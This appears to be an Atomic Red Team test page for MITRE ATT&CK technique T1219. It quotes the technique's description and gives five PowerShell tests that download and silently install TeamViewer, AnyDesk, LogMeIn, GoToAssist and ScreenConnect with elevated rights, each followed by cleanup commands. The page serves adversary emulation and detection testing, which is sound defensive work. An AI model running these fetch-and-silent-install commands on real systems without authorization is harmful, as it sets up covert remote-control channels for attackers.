# T1219 - Remote Access Software
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1219)
<blockquote>An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)</blockquote>

## Atomic Tests

- [Atomic Test #1 - TeamViewer Files Detected Test on Windows](#atomic-test-1---teamviewer-files-detected-test-on-windows)

- [Atomic Test #2 - AnyDesk Files Detected Test on Windows](#atomic-test-2---anydesk-files-detected-test-on-windows)

- [Atomic Test #3 - LogMeIn Files Detected Test on Windows](#atomic-test-3---logmein-files-detected-test-on-windows)

- [Atomic Test #4 - GoToAssist Files Detected Test on Windows](#atomic-test-4---gotoassist-files-detected-test-on-windows)

- [Atomic Test #5 - ScreenConnect Application Download and Install on Windows](#atomic-test-5---screenconnect-application-download-and-install-on-windows)


<br/>

## Atomic Test #1 - TeamViewer Files Detected Test on Windows
An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

**Supported Platforms:** Windows


**auto_generated_guid:** 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
```

#### Cleanup Commands:
```powershell
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
```





<br/>
<br/>

## Atomic Test #2 - AnyDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows


**auto_generated_guid:** 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
```

#### Cleanup Commands:
```powershell
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe.exe"
Remove-Item $file1 -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #3 - LogMeIn Files Detected Test on Windows
An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows


**auto_generated_guid:** d03683ec-aae0-42f9-9b4c-534780e0f8e1






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
```

#### Cleanup Commands:
```powershell
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #4 - GoToAssist Files Detected Test on Windows
An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows


**auto_generated_guid:** 1b72b3bd-72f8-4b63-a30b-84e91b9c3578






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;
```

#### Cleanup Commands:
```powershell
try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}
```





<br/>
<br/>

## Atomic Test #5 - ScreenConnect Application Download and Install on Windows
An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.

**Supported Platforms:** Windows


**auto_generated_guid:** 4a18cc4e-416f-4966-9a9d-75731c4684c0






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn
```

#### Cleanup Commands:
```powershell
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn
```





<br/>
